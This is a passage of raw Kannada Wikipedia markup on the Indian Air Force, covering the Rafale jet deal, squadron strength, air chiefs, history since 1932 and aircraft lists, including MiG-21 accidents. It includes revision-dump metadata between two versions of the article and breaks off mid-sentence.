ಉಳಿತಾಯವಾಗಲಿದೆ ಎಂದು ವಿಶ್ಲೇಷಿಸಲಾಗುತ್ತಿದೆ. ಒಪ್ಪಂದ ನಡೆದ 36 ತಿಂಗಳಲ್ಲಿ ರಾಫೆಲ್ ಜೆಟ್ ಭಾರತೀಯ ಸೇನೆಗೆ ಸೇರ್ಪಡೆಗೊಳ್ಳಲಿದ್ದು, 66 ತಿಂಗಳಲ್ಲಿ ಒಟ್ಟು 36 ರಾಫೆಲ್ ಜೆಟ್ ಗಳು ಭಾರತದ ಕೈಸೇರಲಿವೆ. *ಆರಂಭಿಕ ಯೋಜನೆ 126 ಜೆಟ್ ಖರೀದಿಸುವುದಿದ್ದರೂ, ಭಾರತವು ಅದನ್ನು 36 ಜೆಟ್ ಗಳನ್ನು, ಅದೂ ಸಿದ್ಧ ಸ್ಥಿತಿಯಲ್ಲಿ ಕೊಳ್ಳುವ ತೀರ್ಮಾನಕ್ಕೆ ಬಂದು ಮುಟ್ಟಿತು. ಹೀಗಾಗಿ ಜೆಟ್ ವಿಮಾನದ ದರ ಮೊದಲು ಒಪ್ಪಿದ್ದಕ್ಕಿಂತ ಹೆಚ್ಚೇ ಆಗಿದೆ.<ref>[http://www.thehindu.com/specials/in-depth/all-you-need-to-know-about-rafale-deal/article8483412.ece All you need to know about the Rafale deal DEEPALAKSHMI K.]</ref><ref>[https://m.timesofindia.com/india/the-rafale-deal-10-facts/articleshow/61769792.cms]</ref> *ಈ ರಾಫೆಲ್ ಮೆಟೊರೊ ಶ್ರೇಣಿಯ (ದೂರವ್ಯಾಪಿ) ಕ್ಷಿಪಣಿಯಾಗಿದ್ದು, 150 ಕಿ.ಮೀ ಸಾಗುವ ಸಾಮರ್ಥ್ಯ ಹೊಂದಿದೆ. ದೃಷ್ಠಿವ್ಯಾಪಿಗೂ ಮಿಗಿಲಾಗಿ ಸಾಗುವ ಸಾಮರ್ಥ್ಯ ಹೊಂದಿರುವ ಈ ಕ್ಷಿಪಣಿಯಲ್ಲಿ ಗುರಿ ತಪ್ಪುವ ಸಾಧ್ಯತೆ ಇತರ ಕ್ಷಿಪಣಿಗಳಿಗಿಂತ ಮೂರುಪಟ್ಟಿ ಕಡಿಮೆ ಇದೆ. ರಾಫೆಲ್ ಜೆಟ್ ಖರೀದಿ ಒಪ್ಪಂದಕ್ಕೆ ಜನವರಿ ತಿಂಗಳಲ್ಲಿ ಪ್ರಾನ್ಸ್ ಮತ್ತು ಭಾರತ ಸರ್ಕಾರಗಳು ಹಣಕಾಸು ವಿಚಾರ ಹೊರತುಪಡಿಸಿ ಸಹಿ ಹಾಕಿದ್ದವು.<ref>[http://www.kannadaprabha.com/nation/india-likely-to-ink-rafale-fighter-jet-deal-with-france-today/282444.html ರಫೆಲ್ ಜೆಟ್ ಒಪ್ಪಂದಕ್ಕೆ ಇಂದು ಸಹಿ]</ref> ===ರಫೇಲ್‌ ಜೆಟ್‌- ಮೊದಲ ಕಂತು ಆಗಮನ=== *[[:en:Dassault Rafale|Dassault Rafale]] *ಫ್ರಾನ್ಸ್ ಮತ್ತು ಭಾರತದ ನಡುವೆ ಒಪ್ಪಂದ ಏರ್ಪಟ್ಟ ನಾಲ್ಕು ವರ್ಷಗಳ ಬಳಿಕ ಮೊದಲ ಹಂತವಾಗಿ ಐದು ಯುದ್ಧ ವಿಮಾನಗಳು ಭಾರತಕ್ಕೆ ೨೯-೭-೨೦೨೦ ಬುಧವಾರ ಬಂದಿವೆ. ಈ ಹಿಂದೆ ಒಂದು ವಿಮಾನ ಬಂದಿತ್ತ. ಆ ಮೂಲಕ ಭಾರತದ ವಾಯುಸೇನೆಯ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೆಚ್ಚು ಮಾಡಿವೆ. ಪ್ರಾನ್ಸ್‌ ದೇಶದ ಪ್ರಮುಖ ವಾಯುಯಾನ ಕಂಪನಿ ರಫೇಲ್‌ನಿಂದ 36 ಯುದ್ಧವಿಮಾನಗಳನ್ನು ಖರೀದಿಸಲು ಪ್ರಧಾನಿ ಮೋದಿ ನೇತೃತ್ವದ ಎನ್‌ಡಿಎ ಸರ್ಕಾರ 2016ರ ಸೆಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ ರೂ.59,000 ಕೋಟಿ ಮೊತ್ತದ ವ್ಯವಹಾರ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡಿತ್ತು.<ref>[https://www.prajavani.net/stories/india-news/from-mig-to-mirage-to-rafale-jets-india-key-fighter-aircraft-acquisitions-749304.html ರಫೇಲ್‌ ಜೆಟ್‌ ಭಾರತ ಸೈನ್ಯದ ಪರಾಕ್ರಮ ಹೆಚ್ಚಿಸಿದ ಯುದ್ದ ವಿಮಾನಗಳ ಚಿತ್ರ ಸಹಿತ ಮಾಹಿತಿ; d: 30 ಜುಲೈ 2020,]</ref> ==ಭಾರತದ ಅಗತ್ಯ== *ವಾಯುಪಡೆಯ ಉನ್ನತ ಅಧಿಕಾರಿಗಳು ಇಂದು ಭಾತರದ ಉತ್ತರ ಮತ್ತು ಪಶ್ಚಿಮ ಗಡಿ ರಕ್ಷಿಸಲು (ಪಾಕಿಸ್ತಾನ ಮತ್ತು ಚೀನಾ-ಗಡಿ) ಕನಿಷ್ಠ 42 ವಿಮಾನದಳ ತುಕಡಿಗಳು ಅಗತ್ಯವಿದೆ ಎಂದು ಹೇಳುತ್ತಾರೆ. *ಇದು ಪ್ರಸ್ತುತ ಸುಮಾರು 32 ವಿಮಾನದಳ ತುಕಡಿಗಳನ್ನು ಒಳಗೊಂಡಿದೆ, ಪ್ರತಯೊಂದರಲ್ಲಿ 18 ವಿಮಾನಗಳಿವೆ, ವಾಯುಪಡೆಯ ಪ್ರತಿನಿಧಿಗಳು ಭಾರತದ ಸಂಸತ್ತಿಗೆ ಕಳೆದ ವರ್ಷ, ಪರಮಾಣು ಶಸ್ತ್ರಸಜ್ಜಿತ ನೆರೆಯ ಪ್ರತಿಸ್ಪರ್ಧಿ ಪಾಕಿಸ್ತಾನಕ್ಕೆ ಸರಿಸಮಾನವಾಗಿ ಭಾರತ ತಂಡದ ತುಕಡಿಗಳು 2022ರ ಹೊತ್ತಿಗೆ ಕೇವಲ 25ತುಕಡಿಗೆ ಇಳಿಯಬಹುದೆಂದು ಎಚ್ಚರಿಸಿದ್ದಾರೆ.ಆದರೆ ನಿಜವಾದ ಕಾಳಜಿ ಚೀನಾ, ಪಾಕಿಸ್ತಾನದ ಮಿತ್ರರಾಷ್ಟ್ರ; ಅವರ ಮಿಲಿಟರಿ ಸಾಮರ್ಥ್ಯ ಭಾರತದಕ್ಕಿಂತ ಹೆಚ್ಚು.<ref>[http://www.hindustantimes.com/delhi-newspaper/is-a-teacher-s-job-an-office-of-profit-asks-manmohan/story-yHiqty6UaBnYdNJEV4zAvJ.html 2022ರ ಹೊತ್ತಿಗೆ ಕೇವಲ 25ತುಕಡಿಗೆ ಇಳಿಯಬಹುದು]</ref> ==ವಾಯು ಪಡೆಯ ಮುಖ್ಯಸ್ತರ ನೇಮಕ== *18 Dec, 2016 *ಏರ್‌ ಚೀಫ್‌ ಮಾರ್ಷಲ್‌ ರಾಕೇಶ್ ಸಿಂಗ್ ಭಾದೌಇರ ಅವರನ್ನು ವಾಯು ಪಡೆಯ (ಐಎಎಫ್‌) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ಕೇಂದ್ರ ಸರ್ಕಾರ ಶನಿವಾರ ನೇಮಕ ಮಾಡಿದೆ. ವಾಯುಪಡೆಯ ಮುಖ್ಯಸ್ಥರಾದ ಧನೋವಾ ಅವರು ಸೆಪ್ಟೆಂಬರ್ 30 ರಂದು ನಿವೃತ್ತರಾಗಲಿದ್ದು, ರಾಕೇಶ್ ಸಿಂಗ್ ಭಾದೌಇರ ಅವರು ಅದೇ ದಿನ ಅಧಿಕಾರ ವಹಿಸಿಕೊಳ್ಳಲಿದ್ದಾರೆ.<ref>[http://www.prajavani.net/news/article/2016/12/18/459771.html ಲೆ.ಜ. ರಾವತ್‌ ಸೇನಾ ಪಡೆ, ಧನೋವಾ ವಾಯುಪಡೆ ಮುಖ್ಯಸ್ಥ;;ಪಿಟಿಐ;30 ಸೆಪ್ಟೆಂಬರ್ , 2019]</ref> ==ಇವನ್ನೂ ನೋಡಿ== *[[ಭಾರತ]] *[[ಭಾರತೀಯ ಸೈನ್ಯ]] * [[ಭಾರತೀಯ ಭೂಸೇನೆ]] * ಭಾರತೀಯ ವಾಯುಸೇನೆ * [[ಭಾರತೀಯ ನೌಕಾಸೇನೆ]] *[[ಭಾರತೀಯ ಸೈನ್ಯ]] *[[ಭಾರತ ಮತ್ತು ಪಾಕೀಸ್ತಾನಗಳ ಆರ್ಥಿಕ ಬಲ ಮತ್ತು ಸೈನ್ಯ ಬಲ]] *[[ಕ್ಷಿಪಣಿ|ಭಾರತದಲ್ಲಿ ಕ್ಷಿಪಣಿ ವ್ವಸ್ಥೆ]] *mega Rafale fighter deal [http://timesofindia.indiatimes.com/india/india-to-ink-mega-rafale-fighter-deal-with-france-on-friday/articleshow/54447844.cms][http://timesofindia.indiatimes.com/india/deal-for-direct-acquisition-of-36-rafale-fighter-jets-in-final-stages/articleshow/54292579.cms] *[http://www.newindianexpress.com/opinion/Why-Rafale-is-a-Big-Mistake/2014/07/25/article2346825.ece Why Rafale is a Big Mistake-] *[http://www.thehindu.com/specials/in-depth/all-you-need-to-know-about-rafale-deal/article8483412.ece All you need to know about the Rafale deal] *[https://www.prajavani.net/stories/national/augusta-westland-deal-592074.html ಆಗಸ್ಟಾ ವೆಸ್ಟ್‌ಲೆಂಡ್ ಹೆಲಿಕಾಪ್ಟರ್‌] ==ಬಾಹ್ಯ ಸಂಪರ್ಕಗಳು== * [http://indianairforce.nic.in/ ಅಧಿಕೃತ ತಾಣ] * [http://www.bharat-rakshak.com/IAF/ ವಾಯುಸೇನೆಯ ಬಗ್ಗೆ ಮಾಹಿತಿ] *ನಿರ್ದಿಷ್ಟ ಕಾರ್ಯಾಚರಣೆ (ಸರ್ಜಿಕಲ್ ಸ್ಟ್ರೈಕ್) :ಅಭಿಪ್ರಾಯಗಳು;8 Oct, 2016 [http://www.prajavani.net/news/article/2016/10/08/443738.html] {{Webarchive|url=https://web.archive.org/web/20161008171316/http://www.prajavani.net/news/article/2016/10/08/443738.html |date=2016-10-08 }} *ನಿರ್ದಿಷ್ಟ ಕಾರ್ಯಾಚರಣೆ (ಸರ್ಜಿಕಲ್ ಸ್ಟ್ರೈಕ್);ಸೇನೆಯ ಹೊಟ್ಟೆ ಗಟ್ಟಿ ಮಾಡಿ!;8 Oct, 2016;[http://www.prajavani.net/news/article/2016/10/08/443740.html] {{Webarchive|url=https://web.archive.org/web/20161008150500/http://www.prajavani.net/news/article/2016/10/08/443740.html |date=2016-10-08 }} ==ಉಲ್ಲೇಖ== [[ವರ್ಗ:ಭಾರತ]] [[ವರ್ಗ:ಸಮಾಜ]] 8bwwxiwx4f2f9707pfwgbo6h2k6j2ni 1116532 1116531 2022-08-23T16:58:00Z 103.170.220.182 /* ಭಾರತೀಯ ಸೇನೆಯಲ್ಲಿ ಸೇವೆ */ wikitext text/x-wiki {{Infobox military unit |unit_name = ಭಾರತೀಯ ವಾಯುಸೇನೆ | image = [[File:Badge of the Indian Air Force.png|200px]] | image_size = 200px | caption = ಭಾರತೀಯ ವಾಯುಪಡೆಯ ಶಿಖೆ | dates = | country = {{flag|ಭಾರತ}} |allegiance = |role = [[ವೈಮಾನಿಕ ಯುದ್ಧ]] | size = 140,431 active personnel<ref>name="Strength_of_Defence_Forces"</ref><br>Approx. [[List of active Indian military aircraft#Indian Air Force|1,720+ aircraft]]<ref>name="Flightglobal"</ref><ref>name="IISS2014_p245"</ref>[[International Institute for Strategic Studies]]:<ref>The Military Balance 2014, p.245</ref> | command_structure = [[ಭಾರತೀಯ ಸಶಸ್ತ್ರ ಪಡೆ]] | garrison = [[ಹೊಸದಿಲ್ಲಿ]] | garrison_label = Headquarters | motto = ದೀಪ್ತವಾಗಿ ಆಕಾಶವನ್ನು ಸ್ಪರ್ಶಿಸುವೆವು<br>(Nabhaḥ Spr̥śaṁ Dīptam) <br> (''Touch the Sky with Glory'')<ref>{{cite web |title=The IAF Motto |url=http://indianairforce.nic.in/show_page.php?pg_id=132 |publisher=Webmaster IAF – Air Headquarters |accessdate=7 April 2009 |archive-date=10 ಏಪ್ರಿಲ್ 2009 |archive-url=https://web.archive.org/web/20090410000608/http://indianairforce.nic.in/show_page.php?pg_id=132 |url-status=dead }}</ref> | colors = ನೌಕಾನೀಲಿ, ಆಕಾಶ ನೀಲಿ & ಬಿಳಿ <br />{{color box|#041A2A}}{{color box|#CFE3E9}}{{color box|#FFFFF}} | colours_label = Colour | battles = {{Collapsible list | framestyle = border:none; padding:0; | title = Notable Operations | 1 =[[World War II]]|2 =[[Indo-Pakistani War of 1947]]|3 = [[Congo Crisis]]|4 =[[Operation Vijay (1961)|Operation Vijay]]|5 = [[Sino-Indian War]]|6 = [[Indo-Pakistani War of 1965]]|7 =[[Bangladesh Liberation War]]|8 =[[Operation Meghdoot]]|9 =[[Operation Poomalai]]|10 =[[Operation Pawan]]|11 =[[Operation Cactus]]|12 =[[Kargil War]] }} | anniversaries = ವಾಯುಸೇನಾ ದಿನ: 8 October<ref>{{cite web|url=http://www.schizophrenia.com/indiam/archives/005656.html|title=A Mother in India: 8th October|date=22 October 2007|accessdate=20 July 2010}}</ref> | website=[http://indianairforce.nic.in/ indianairforce.nic.in]<!-- Commanders --> |commander1= [[Air Chief Marshal]] [[rakesh kumar singh bhadauira]] |commander1_label= [[Chief of Air Staff (India)|Chief of Air Staff (CAS)]] |commander2= [[Air Marshal]] [[Shirish Baban Deo]]<ref>http://www.financialexpress.com/india-news/air-marshal-sb-deo-to-be-new-vice-chief-of-iaf-air-marshal-c-hari-kumar-to-take-charge-of-western-air-command/489723/</ref> |commander2_label= [[Vice Chief of the Air Staff (India)|Vice Chief of Air Staff (VCAS)]] |notable_commanders=[[Marshal of the Air Force|Marshal of the Indian Air Force]] [[Arjan Singh]]<br />[[Air Chief Marshal]] [[Pratap Chandra Lal]]<br />[[Air Marshal]] [[Subroto Mukherjee]] | identification_symbol=[[File:Air Force Ensign of India.svg|200px]] | identification_symbol_label= Air Force Ensign | identification_symbol_2= [[File:Roundel of India.svg|100px|Roundel]] | identification_symbol_3= [[File:Fin Flash of India.svg|100px|The IAF Fin Flash]] | identification_symbol_2_label= [[Roundel]] | identification_symbol_3_label= [[Fin flashes|Fin flash]]<!-- Active IAF Aircraft (in inventory) --> | aircraft_attack = [[SEPECAT Jaguar|Jaguar]], [[MiG-27]], [[IAI Harpy|Harpy]] | aircraft_electronic=[[EL/W-2090|A-50E/I]], [[DRDO AEW&CS]] | aircraft_fighter = [[Su-30MKI]], [[Mirage 2000]], [[MiG-29]], [[HAL Tejas]], [[MiG-21]], [[Rafale]] | aircraft_helicopter= [[HAL Dhruv|Dhruv]], [[HAL Chetak|Chetak]], [[HAL Cheetah|Cheetah]], [[Mil Mi-8|Mi-8]], [[Mil Mi-17|Mi-17]], [[Mi-26]], [[Mil Mi-24|Mi-25/35]], [[HAL Light Combat Helicopter]], [[HAL Rudra]] | aircraft_recon = [[IAI Searcher|Searcher II]], [[IAI Heron|Heron]] | aircraft_trainer = [[BAE Hawk|Hawk Mk 132]], [[HAL Kiran|HJT-16 Kiran]], [[Pilatus PC-7|Pilatus C-7 Mk II]] | aircraft_transport= [[C-17 Globemaster III]], [[Il-76]], [[An-32]], [[HS 748]], [[Do 228]], [[Boeing 737]], [[Embraer ERJ 145 family|ERJ 135]], [[C-130J]] | aircraft_tanker= [[Il-78|Il-78 MKI]] | native_name = भारतीय वायु सेना<br>Bhāratīya Vāyu Senā | start_date = {{start date and age|1932|10|8|df=y}} | mottoeng = "''Touch the Sky with Glory''" | ceremonial_chief = <!-- Insignia --> | bomber = [[DRDO auto]] }} '''ಭಾರತೀಯ ವಾಯುಸೇನೆ''' ಪ್ರಪಂಚದ ಅತಿ ದೊಡ್ಡ ವಾಯು ಸೇನೆಗಳಲ್ಲಿ ಒಂದು. ಇದನ್ನು ಸ್ಥಾಪಿಸಿದ್ದು ಅಕ್ಟೋಬರ್ ೮, ೧೯೩೨ ರಂದು. ==ಚರಿತ್ರೆ== ೧೯೩೨ ರಲ್ಲಿ ಅಸ್ತಿತ್ವಕ್ಕೆ ಬಂದ ವಾಯುಸೇನೆಯ ನಂ.೧ ಸ್ಕ್ವಾಡ್ರನ್ ೧೯೩೩ ರಲ್ಲಿ ಕರಾಚಿಯಲ್ಲಿ ಕಾರ್ಯಸ್ಥಿತಿಗೆ ಬಂದಿತು. ಆಗ ಇದ್ದದ್ದು ಕೇವಲ ಐದು ಪೈಲಟ್ ಗಳು! ಕೇವಲ ನಾಲ್ಕು ವಪೀಟೀ ವಿಮಾನಗಳನ್ನು ಹೊಂದಿದ್ದ ವಾಯುಸೇನೆ ಇಂದು ೨೦೦೦ ಕ್ಕೂ ಹೆಚ್ಚು ಯುದ್ಧವಿಮಾನಗಳನ್ನು ಹೊಂದಿದೆ. ===ಮೊದಲ ಪೈಲಟ್ ಗಳು=== ಭಾರತೀಯ ವಾಯುಸೇನೆಯ ಮೊದಲ ಐದು ಪೈಲಟ್‍ಗಳು ಹೆ ಸಿ ಸರ್ಕಾರ್, ಸುಬ್ರೊತೊ ಮುಖರ್ಜೀ, ಭೂಪೇಂದ್ರ ಸಿಂಗ್, ಎ ಬ್ ಅವನ್ ಮತ್ತು ಅಮರ್ಜೀತ್ ಸಿಂಗ್. ೧೯೩೩ ರಲ್ಲಿ ಸೇರಿದ ಈ ಐವರಲ್ಲಿ ಭೂಪೇಂದ್ರ ಸಿಂಗ್ ಮತ್ತು ಅಮರ್ಜೀತ್ ಸಿಂಗ್ ವಿಮಾನ ಅಪಘಾತಗಳಲ್ಲಿ ಮೃತರಾದರು. ಸರ್ಕಾರ್ ಒಂದು ವರ್ಷದೊಳಗೇ ವಾಯುಸೇನೆಯನ್ನು ಬಿಟ್ಟರು. ಎ ಬಿ ಅವನ್ ಭಾರತದ ವಿಂಗಡಣೆಯ ನಂತರ ಪಾಕಿಸ್ತಾನವನ್ನು ಸೇರುವುದಾಗಿ ನಿರ್ಧರಿಸಿದರು. ಸುಬ್ರೊತೊ ಮುಖರ್ಜಿ ಮುಂದೆ ಭಾರತೀಯ ಸೇನೆಯ ಮೊದಲ ಮುಖ್ಯಸ್ಥರಾದರು. ಎರಡನೆಯ ಮಹಾಯುದ್ಧದ ಮೊದಲು ಇನ್ನಷ್ಟು ವಿಮಾನಗಳು ಮತ್ತು ಪೈಲಟ್‍ಗಳು ವಾಯುಸೇನೆಯನ್ನು ಸೇರಿದರು. ===ಎರಡನೇ ಮಹಾಯುದ್ಧ=== ಭಾರತೀಯ ಸೈನ್ಯ [[ಎರಡನೇ ಮಹಾಯುದ್ಧ|ಎರಡನೇ ಮಹಾಯುದ್ಧದಲ್ಲಿ]] ಅತಿ ದೊಡ್ಡ ಸ್ವಯಂಸೇವಕ ಪಡೆ ಎಂಬುದು ಹೆಚ್ಚು ಜನರಿಗೆ ತಿಳಿದಿಲ್ಲ. ಒಟ್ಟು ೨ ಕೋಟಿ ಭಾರತೀಯ ಸೈನಿಕರು ಪಾಲ್ಗೊಂಡ ಈ ಯುದ್ಧದಲ್ಲಿ ಭಾರತೀಯ ವಾಯುಸೇನೆಯೂ ಪಾಲ್ಗೊಂಡಿತು. ===೧೯೪೭-೪೮ ಕಾಶ್ಮೀರ ಯುದ್ಧ=== ಅಕ್ಟೋಬರ್ ೨೦, ೧೯೪೭ ರಲ್ಲಿ ಪಾಕಿಸ್ತಾನದಿಂದ ಸಹಾಯ ಪಡೆದ ಪಠಾಣರ ದಳವೊಂದು ಕಾಶ್ಮೀರದೊಳಕ್ಕೆ ನುಗ್ಗಿತು. ಕಾಶ್ಮೀರದ ಮಹಾರಾಜರಾದ ಹರಿ ಸಿಂಗ್ ಭಾರತದ ಸಹಾಯ ಕೋರಿದರು. ಕಾಶ್ಮೀರ ಭಾರತಕ್ಕೆ ಸೇರಬೇಕೆಂಬ ಶರತ್ತಿನ ಸಹಾಯ ನೀಡಿದ ಭಾರತ, ವಾಯುಸೇನಯ ವಿಮಾನಗಳ ಮೂಲಕ ತನ್ನ ಸೈನಿಕರನ್ನು ಕಾಶ್ಮೀರಕ್ಕೆ ಸಾಗಿಸಿತು. ಡಿಸಂಬರ್ ೩೧, ೧೯೪೮ ರಲ್ಲಿ ಈ ಯುದ್ಧ ಕೊನೆಗೊಂಡಿತು. ವಾಯುಸೇನೆ ನೇರವಾಗಿ ಯುದ್ಧದಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುವ ಸಂದರ್ಭ ಈ ಯುದ್ಧದಲ್ಲಿ ಉಂಟಾಗಲಿಲ್ಲ. ===೧೯೬೧ ಕಾಂಗೋ=== ಜೂನ್ ೩೦, ೧೯೬೦ ರಲ್ಲಿ ಕಾಂಗೋ ದೇಶದ ಮೇಲಿನ ಬೆಲ್ಜಿಯಮ್ ನ ಆಡಳಿತ ಹಠಾತ್ತಾಗಿ ಕೊನೆಗೊಂಡಿತು. ಆಗ ಅಲ್ಲಿ ಶಾಂತಿ ನಿರ್ವಹಣಾ ಕಾರ್ಯಕ್ಕೆ ವಿಶ್ವಸಂಸ್ಥೆ ಸಹಾಯವನ್ನು ಕೋರಿತು. ಭಾರತದ ಪ್ರಧಾನಿ [[ಜವಾಹರಲಾಲ್ ನೆಹರು]] ಭಾರತೀಯ ವಾಯುಸೇನೆಯ ವಿಮಾನಗಳು ಮತ್ತು ಸೈನಿಕರನ್ನು ಒದಗಿಸಿದರು. ಕೆನ್ಬೆರ್ರಾ ಯುದ್ಧವಿಮಾನ ಈ ಕಾಲದಲ್ಲಿ ಉಪಯೋಗಿತವಾಯಿತು. == ವಾಯು ಸೇನೆ ಮುಖ್ಯಸ್ಥರು== *31 Dec, 2016 *ವಾಯುಪಡೆಯ ಮುಖ್ಯಸ್ಥರಾಗಿ ರಾಕೇಶ್ ಸಿಂಗ್ ಭಾದೌಇರ ಅವರು 30 sep, 2019 ಶನಿವಾರ ಅಧಿಕಾರ ಸ್ವೀಕರಿಸಿದರು. ಬಿಪಿನ್ ಅವರು ಸೇನೆಯ 28ನೇ ಮುಖ್ಯಸ್ಥರಾಗಿದ್ದರೆ, ರಾಕೇಶ್ ಸಿಂಗ್ ಭಾದೌಇರ ಅವರು ವಾಯುಪಡೆಯ/ಮುಖ್ಯಸ್ಥರಾಗಿದ್ದಾರೆhttpwww.prajavani.net/news/article/2016/12/31/462862.html ವಾಯುಪಡೆ, ಸೇನೆಯ ಹೊಸ ಮುಖ್ಯಸ್ಥರ ಅಧಿಕಾರ ಸ್ವೀಕಾರ;ಪಿಟಿಐ;1 Jan, 2017] ===[[೧೯೬೨ ಭಾರತ-ಚೀನಾ ಯುದ್ಧ]]=== ===೧೯೬೫ ಭಾರತ-ಪಾಕಿಸ್ತಾನ ಯುದ್ಧ=== ===೧೯೭೧ ಭಾರತ ಪಾಕಿಸ್ತಾನ ಯುದ್ಧ=== ==ವಾಯುಸೇನೆಯ ವಿಮಾನಗಳು== [[File:HAL Tejas.jpg|360px|right|thumb|ತೇಜಸ್ -HAL Tejas]] ===ಬಾಂಬರ್ ಗಳು=== * ಲಿಬರೇಟರ್ * ಕೆನ್‍ಬೆರ್ರಾ ===ಫೈಟರ್ ಗಳು=== * ಸುಖೋಯಿ Su-30MKI * ಮಿರಾಜ್ 2000H * ಜಾಗ್ವಾರ್ IS * ಜಾಗ್ವಾರ್ IM * ಮಿಗ್-೨೯ (Fulcrum) * ಮಿಗ್-೨೭ ML (Flogger) * ಮಿಗ್-೨೫ U (Foxbat) * ಮಿಗ್-೨೫ R (Foxbat) * ಮಿಗ್-೨೩ MF (Flogger) * ಮಿಗ್-೨೩ BN (Flogger) * ಮಿಗ್-೨೧ Bison (Fishbed) * ಮಿಗ್-೨೧ Bis (Fishbed) * ಮಿಗ್-೨೧ M (Fishbed) * ಮಿಗ್-೨೧ MF(Fishbed) * ಮಿಗ್-೨೧ FL(Fishbed) * ಮಿಗ್-೨೧ PF(Fishbed) * ಮಿಗ್-೨೧ F-13(Fishbed) *ಕಳೆದ 40 ವರ್ಷಗಳಲ್ಲಿ ಮಿಗ್‌–21 ಯುದ್ಧ ವಿಮಾನಗಳು ಹಲವು ಬಾರಿ ಪತನಗೊಂಡಿವೆ. ಭಾರತ 872 ಮಿಗ್‌ ವಿಮಾನಗಳಲ್ಲಿ ಅರ್ಧದಷ್ಟು ಕಳೆದುಕೊಂಡಿದೆ. 1973–74ರಲ್ಲಿ ಭಾರತೀಯ ವಾಯುಪಡೆಗೆ ಮಿಗ್‌–21 ಯುದ್ಧ ವಿಮಾನ ಸೇರ್ಪಡೆಯಾಯಿತು. 2006ರಲ್ಲಿ ಕನಿಷ್ಠ 110 ಮಿಗ್‌–21 ಯುದ್ಧ ವಿಮಾನಗಳನ್ನು ಆಧುನೀಕರಿಸಲಾಯಿತು. ಮಿಗ್‌–21 ಬೈಸನ್‌ ಹೆಸರಿನ ಅವುಗಳು ಅಧಿಕ ಸಾಮರ್ಥ್ಯದ ರಡಾರ್‌, ಉತ್ತಮಗೊಳಿಸಿದ ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ ವ್ಯವಸ್ಥೆ ಹಾಗೂ ಸಂವಹನ ವ್ಯವಸ್ಥೆಯನ್ನು ಒಳಗೊಂಡಿವೆ.<ref>[https://www.prajavani.net/stories/national/mig-fighters-air-chief-says-no-659361.html ಭಾರತೀಯ ವಾಯುಪಡೆ;44 ವರ್ಷ ಹಳೆಯ ಮಿಗ್‌ ಯುದ್ಧ ವಿಮಾನ; ಅಷ್ಟು ವರ್ಷದ ಕಾರನ್ನೂ ಯಾರೂ ಬಳಸಲ್ಲ–ಧನೋಆ;d: 20 ಆಗಸ್ಟ್ 2019]</ref> ===ಹೆಲಿಕಾಪ್ಟರ್ ಗಳು=== * HAL ಧ್ರುವ * HAL ಚೀತಾ * HAL ಚೇತಕ್ ===ತರಬೇತಿ ವಿಮಾನಗಳು=== * BAE Hawk * HAL HJT-16 ("ಕಿರಣ್") * HAL HPT-32 ("ದೀಪಕ್") ==ಬರಲಿರುವ ವಿಮಾನಗಳು== * HAL ತೇಜಸ್ (ಹಗುರ ಯುದ್ಧ ವಿಮಾನ) * HAL ಹೆಚ್-ಜೆ-ಟಿ ೩೬ (ತರಬೇತಿ ವಿಮಾನ) ==ಮಿಗ್–21 ಯುದ್ಧ ವಿಮಾನ ಅಪಘಾತ== [[File:MiG-21 RB15.JPG|320px|right|thumb|ಮಿಗ್ 21 ಎಂ.ಎಫ್]] *ಭಾರತೀಯ ವಾಯುಪಡೆಯಲ್ಲಿ ಬಳಸಿದ ಮೊದಲ ಸೂಪರ್‌ಸಾನಿಕ್‌ ಜೆಟ್‌ ಯುದ್ಧ ವಿಮಾನ. 1971ರ ಬಾಂಗ್ಲಾ ವಿಮೋಚನಾ ಯುದ್ಧ ಮತ್ತು 1999ರ ಕಾರ್ಗಿಲ್‌ ಯುದ್ಧಗಳ ಗೆಲುವಿನಲ್ಲಿ ಈ ವಿಮಾನಗಳು ಮಹತ್ವದ ಪಾತ್ರ ವಹಿಸಿವೆ. *ವಿಶ್ವದಲ್ಲೇ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯಲ್ಲಿರುವ ಯುದ್ಧ ವಿಮಾನಗಳ ಪೈಕಿ ಸೋವಿಯತ್ ರಷ್ಯಾದ ಮಿಗ್‌–21 ವಿಮಾನಕ್ಕೆ ಅಗ್ರ ಸ್ಥಾನ. 1955ರಲ್ಲಿ ತಯಾರಾದ ಈ ವಿಮಾನ ಈಗಲೂ ಬೇರೆ ಬೇರೆ ರಾಷ್ಟ್ರಗಳ ವಾಯುಪಡೆಗಳಲ್ಲಿ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತಿವೆ. ಭಾರತೀಯ ವಾಯುಪಡೆಯಲ್ಲೂ ಮಿಗ್‌–21 ತುಕಡಿಗಳಿವೆ. *ನಿವೃತ್ತಿಯ ಅಂಚಿನಲ್ಲಿರುವ ಈ ವಿಮಾನಗಳು ಪದೇ ಪದೇ ಅಪಘಾತಕ್ಕೆ ಈಡಾಗುತ್ತಿವೆ. ಅವಧಿ ಮುಗಿದ ನಂತರವೂ ಅವನ್ನು ಬಳಸುತ್ತಿರುವುದು ಅಪಘಾತಕ್ಕೆ ಪ್ರಮುಖ ಕಾರಣ ಎಂಬ ಅಭಿಪ್ರಾಯ ತಜ್ಞರಿಂದ ವ್ಯಕ್ತವಾಗಿದೆ. ==''ಭಾರತೀಯ ಸೇನೆಯಲ್ಲಿ ಸೇವೆ''== [[File:Sheeju mig21.JPG|320px|right|thumb|''ಯುದ್ಧವಿಮಾನ ಎಂ.ಎಫ್ ಬೈಸನ್ (Sheeju mig21)'']] *'''''ಭಾರತೀಯ ವಾಯುಪಡೆಯಲ್ಲಿ ಬಳಸಿದ ಮೊದಲ ಸೂಪರ್‌ಸಾನಿಕ್‌ ಜೆಟ್‌ ಯುದ್ಧ ವಿಮಾನ. 1971ರ ಬಾಂಗ್ಲಾ ವಿಮೋಚನಾ ಯುದ್ಧ ಮತ್ತು 1999ರ *ಕಾರ್ಗಿಲ್‌ ಯುದ್ಧಗಳ ಗೆಲುವಿನಲ್ಲಿ ಈ ವಿಮಾನಗಳು ಮಹತ್ವದ ಪಾತ್ರ ವಹಿಸಿವೆ. 1990ರ ದಶಕದಲ್ಲೇ ಇವುಗಳನ್ನು ಸೇವೆಯಿಂದ 